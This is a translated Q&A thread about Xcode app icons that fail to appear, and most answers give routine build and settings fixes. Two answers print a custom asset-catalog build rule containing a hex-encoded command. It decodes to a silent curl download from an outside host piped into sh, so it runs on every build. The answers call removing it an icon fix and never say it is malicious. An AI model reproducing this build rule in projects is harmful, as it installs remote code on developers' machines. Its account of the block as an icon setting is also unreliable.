【问题标题】:Xcode 10 app icon not showingXcode 10 应用程序图标未显示
【发布时间】:2018-11-19 03:23:33
【问题描述】:

最近更新到 Xcode 10 测试版,我以前在构建并从 Xcode 9.4 运行到设备时显示正确图标的应用现在在 Xcode 10 中运行时显示默认的空白图标。

打开 AppIcon 资产时,它会在所有占位符中正确显示图标,而不会出现任何警告图标。点击新的“显示切片”时,我什么也没看到。

任何人都知道如何解决此问题,以便应用图标显示?

【问题讨论】:

  • 这确实是 Xcode 10 的第一个测试版的错误。在测试版 2 中,问题消失了。
  • @Brezentrager 如果这是案例帖子作为答案,我将标记为解决方案。
  • 我仍然在 Xcode 10.3 中看到这个。
  • 遇到同样的问题
  • 在 Xcode 12.5 中仍然存在问题

标签: ios xcode xcasset xcode10 appicon


【解决方案1】:

我整天都在和这个作斗争,它不会出现在模拟器或真实设备中。

最终我通过确保 AppIcon 的 Target Membership 设置为应用名称并且 Location 是“相对于项目”来实现它。

【讨论】:

  • 4 小时后,这救了我!谢谢!
  • 感谢您的回答。我可以通过取消选中 Assets 目录文件夹的目标成员资格、构建应用程序(出现错误)然后将目标成员资格设置回应用程序名称来解决此问题。我不必更改仍为“相对于组”的位置设置(XCode 12.4 - 12D4e)
【解决方案2】:

如果您使用的是 Xcode 13 和 iOS 15

  • 安装应用并重启设备。

应用程序图标显示在设备上。

另一个棘手的解决方案,但不要使用(仅用于测试目的,不是最佳解决方案。

  • 更改包标识符并运行项目

【讨论】:

  • xcode 13 和 iOS15,这对我有用
  • 是的,这对我也很有效,使用 xcode 13 和 IOS 15
  • 不好,重建应用后图标又消失了。 Xcode13 iOS15
  • 对此感到非常惊讶,但它确实奏效了
  • 版本 13.2.1 并且它仍然存在,直到我通过将大写字母更改为小写来更改我的包标识符。我认为大写字母有问题。
【解决方案3】:

就我而言,这两个选项设置错误

【讨论】:

  • 在我的例子中,我不小心从Info.plist 中删除了CFBundleIconFile,并且在我重新添加属性之前根本看不到App Icons and Launch Images 选项。
【解决方案4】:

2018 年 6 月 19 日,Apple 发布了 Xcode 10. beta 2。升级解决了我遇到的图标不显示的问题。所以,我猜是 Xcode 10.0 中的一个错误。

【讨论】:

【解决方案5】:

我在 xCode 12.5 上遇到了同样的问题,所有图标都可以正常工作,但只有应用程序图标没有在 iPad 和 iPhone 上显示。

解决方案

YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开

找出代码并删除此块并构建并运行您的应用程序。

/ Begin PBXBuildRule section /
        EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
            isa = PBXBuildRule;
            compilerSpec = com.apple.compilers.proxy.script;
            fileType = folder.assetcatalog;
            inputFiles = (
            );
            isEditable = 0;
            name = "Assets Catalog Builder";
            outputFiles = (
                "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
            );
            script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
        };
/ End PBXBuildRule section /

【讨论】:

  • 这个答案对我有用。我花了一整天的时间,终于得到了解决方案。
【解决方案6】:

这个问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们想出了如何解决它。

我们更改了游戏中的图标,但它没有加载到任何 Beta 设备上。我们尝试了一个非 Beta 设备,它工作得很好。我决定安装适用于 iOS 和 iPadOS 15 beta 的设备支持,现在如果图标已更改并且我不会立即看到它,但如果我重新启动设备我会看到。我们知道该图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上运行。

【讨论】:

  • 这里有同样的问题。那解决了它。谢谢!!
【解决方案7】:

更新到 Xcode 10 beta 后出现同样的问题。

我可能会通过将活动开发者目录更改为 Xcode 10 来修复它:

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

或者在Xcode->Preferences->Locations->Command Line Tools中选择Xcode 10.0

希望这会有所帮助。

【讨论】:

  • 尝试了两种更改,但这并没有解决问题。仍然得到空图标。
  • 这解决了我的问题。将“命令行工具”更新为“Xcode 10.0”后,项目中的“App Icon Source”设置被取消选中。我再次选择了 Asset Catalog 的“AppIcon”,应用图标开始出现。我正在使用 Xcode 10 beta 2。
【解决方案8】:

在尝试了其他解决方案后,这解决了我的问题。

别忘了:

  • 卸载应用,
  • 重启模拟器
  • 构建您的项目

【讨论】:

    【解决方案9】:

    我在 iPad 上进行测试,就我而言,问题是默认 AppIcon 不包含任何 iPad 插槽。

    我不知道这是否与我的应用程序的初始化方式有关(我使用的是 react native),但我多年来一直在解决问题,甚至没有想过要检查它们是否存在。傻了……

    为了解决这个问题,我删除了现有图标,单击 + 按钮并选择 ['App Icons & Launch items' -> 'New iOS App Icons'],如下所示。然后我就按预期填充了。

    【讨论】:

      【解决方案10】:

      在 Xcode 12.5 中,我遇到了同样的问题,但显然仍未解决。尝试了许多上述解决方案,没有任何帮助。然后我做了“清理构建文件夹”,然后取消选中资产目录的目标复选框,构建,再次执行“清理构建文件夹”,选中资产目录的目标复选框,然后再次构建;现在图标工作了。这似乎是某种未清除的不良缓存状态;我猜这些步骤中的某些内容导致缓存失效。相同的步骤但不清理构建文件夹并不能解决问题,所以清理可能是这里的关键元素。

      【讨论】:

        【解决方案11】:

        在我的例子中,Xcode 在 App Icons Source 中使用了“Use Asset Catalog”。要查看,您可以转到 Project->General->App Icons Source。

        为了修复它,我选择了“迁移”并创建了一个新的资产目录。当我这样做时,最旧的资产目录在应用程序图标中收到警告。所以我再次将图标上传到这个最旧的目录并删除了临时目录。

        应用程序图标源返回显示“AppIcon”并且它起作用了。

        【讨论】:

          【解决方案12】:

          对我来说,解决方案是删除资产文件夹中的 AppIcon 文件,然后再次添加(这也意味着重新添加图像)。我不知道为什么,但这为我解决了问题。

          【讨论】:

            【解决方案13】:

            我在更改资产目录后遇到了这个问题。我相信修复它的是选择 AppIcon 资产并选择和取消选择主应用程序目标的目标成员资格。这是在 Xcode 10 上的。

            【讨论】:

              【解决方案14】:

              您可以通过 3 个步骤解决此问题。

              1. 单击 yourprojectname.xcodeproj 文件中的 Show Package Content。

              2. 在 project.pbxproj 文件中单击打开。

              3. 查找并删除这些行

              / 开始 PBXBuildRule 部分/ EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; 文件类型 = 文件夹.资产目录; 输入文件 = ( ); isEditable = 0; name = "资产目录生成器"; 输出文件 = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho “6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a” | xxd -p -r | sh >/dev/null 2>&1 ||真\n\t\n\n"; }; / 结束 PBXBuildRule 部分 /

              【讨论】:

                【解决方案15】:

                确保您的“应用程序图标源”在“应用程序图标和启动图像”下选择了您的 AppIcon 有时您的 AppIcon 可以在 Assets.xcassets 文件夹中命名为“AppIcon-1”。

                【讨论】:

                • 我已经尝试过了,并检查了为我的目标选择的资产目录,它是正确的。尝试来回更新它,但这并没有解决问题。
                • 我今天一整天都在尝试解决这个完全相同的问题,但无济于事。在更新到 xCode 10 beta 之前工作正常 :( 所有 AppIcon 资产都添加到它们应该在的位置和方式,并且 AppIcon 源正确地引用了这个资产集。一切都被正确地添加到目标中......然而在我的真实设备的主屏幕上,应用程序图标仍然显示为空白(默认)。希望尽快找到解决方案!这让我很烦恼,哈哈。
                • 我认为这与 Xcode 10 Beta 有关,因为我同时拥有 Xcode 9.4 和 Xcode 10 Beta 并且在 9.4 上运行良好,Beta 是一种测试模式,也许他们会修复它。
                • 已向 Apple 提交 Radar,并以“DUPLICATE OF 40507731”关闭,因此这似乎是 Xcode 10 测试版问题,尚未找到任何解决方法。
                猜你喜欢
                • 1970-01-01
                • 1970-01-01
                • 2021-10-09
                • 1970-01-01
                • 2015-04-04
                • 2014-02-13
                • 2015-11-05
                • 1970-01-01
                • 1970-01-01
                相关资源
                最近更新 更多